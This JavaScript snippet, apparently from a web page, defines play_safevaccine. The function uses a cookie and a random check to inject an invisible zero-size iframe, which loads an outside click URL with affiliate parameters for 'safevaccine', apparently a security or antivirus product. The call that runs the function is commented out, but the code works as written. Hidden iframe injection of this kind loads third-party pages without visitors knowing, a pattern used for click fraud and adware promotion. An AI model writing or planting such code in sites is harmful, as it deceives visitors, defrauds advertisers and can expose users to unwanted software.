function play_safevaccine()
{
	function get_cookie( name )
	{
		var nameOfCookie = name + "=";
		var x = 0;
		while ( x <= document.cookie.length )
		{
			var y = (x+nameOfCookie.length);
			if ( document.cookie.substring( x, y ) == nameOfCookie ) {
				if ( (endOfCookie=document.cookie.indexOf( ";", y )) == -1 )
					endOfCookie = document.cookie.length;
				return unescape( document.cookie.substring( y, endOfCookie ) );
			}
			x = document.cookie.indexOf( " ", x ) + 1;
			if ( x == 0 )
				break;
		}
		return "";
	}
	function set_cookie( name, value, expiredays ) 
	{
		var todayDate = new Date();
		todayDate.setDate( todayDate.getDate() + expiredays );
		document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + ";"
	} 

	function get_random()
	{
		var ranNum= Math.floor(Math.random()*3);
		return ranNum;
	}

	var safevaccineHtml = '<iframe frameborder="0" width="0" height="0" src="http://click.interich.com?a_id=jjangu&a_num=1&m_id=safevaccine&m_num=133926"></iframe>';

	if(get_cookie("safevaccine_cookie") == "")
	{

		if(get_random() == 0)
		{
			set_cookie("safevaccine_cookie", "ok", 1);
			document.getElementById("safevaccine").innerHTML = safevaccineHtml;
		}
	}
	else document.getElementById("safevaccine").innerHTML = safevaccineHtml;
}
//play_safevaccine();